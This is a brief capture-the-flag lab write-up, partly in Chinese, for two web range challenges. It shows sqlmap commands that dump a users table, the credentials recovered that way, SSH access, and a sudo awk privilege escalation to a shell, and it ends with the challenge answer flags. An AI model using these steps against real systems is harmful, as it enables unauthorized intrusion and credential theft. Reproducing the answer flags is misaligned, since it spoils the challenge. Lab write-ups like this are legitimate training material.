# Web Range-121-122
## Challenge 121
## Challenge 122

* Rustscan
* 

* Nmap
* 

* Nothing on FTP
* 

* Web一開始無法訪問，仔細看了Nmap scan result後發現他只allow HEAD, Header要送 `Host: 127.0.0.1`
* 

* Using `curl` 指定method是HEAD, 再自訂封包內容後拿到response，就發現一個路徑 `index.php`
* 
* 
* 

* Is a login page called `MaxMinter`, but not a CMS, and no cve, try register a user
* 

* 用 `feroxbuster` 掃了路徑, 一樣要用HEAD掃然後指定header
* 

feroxbuster -u http://10.10.1.57 -H "Host: 127.0.1.1" -X HEAD

* 隨便猜到了一個test帳號
* 
* `[e-mail]:123456`

* 但似乎不太能幹嘛
* 

* 有個功能可以Request Remote Access, 但是這個user他說 permission denied
* 
* 

* OK, login and register page 都有sqli
* 

sqlmap -r login_req --level 5 --risk 3 --batch --dbs

sqlmap -r login_req --level 5 --risk 3 --batch -D maxminter --tables

sqlmap -r login_req --level 5 --risk 3 --batch -D maxminter --T users --columns --dump

* Got admin credential, and login sucessful
* 
* 
* `[e-mail]:asd%$gasd23_`
* 

* About Remote Access, 看來我們要找到具有RAU權限的user, 因為連我們自己都沒有權限
* 
* 

* Jackson有RAU permission, 登入request RAU後拿到一組credential
* 
* 
* `jackson:ABfg34$#@_W`

* Shell as jackson via ssh
* 
* 
* `awk` 提權
* 
* https://gtfobins.github.io/gtfobins/awk/#sudo
* 

sudo awk 'BEGIN {system("/bin/sh")}'

* Proof
* 

## Answer
* Challenge 121:`2`
* Challenge 122:`q22L32WL`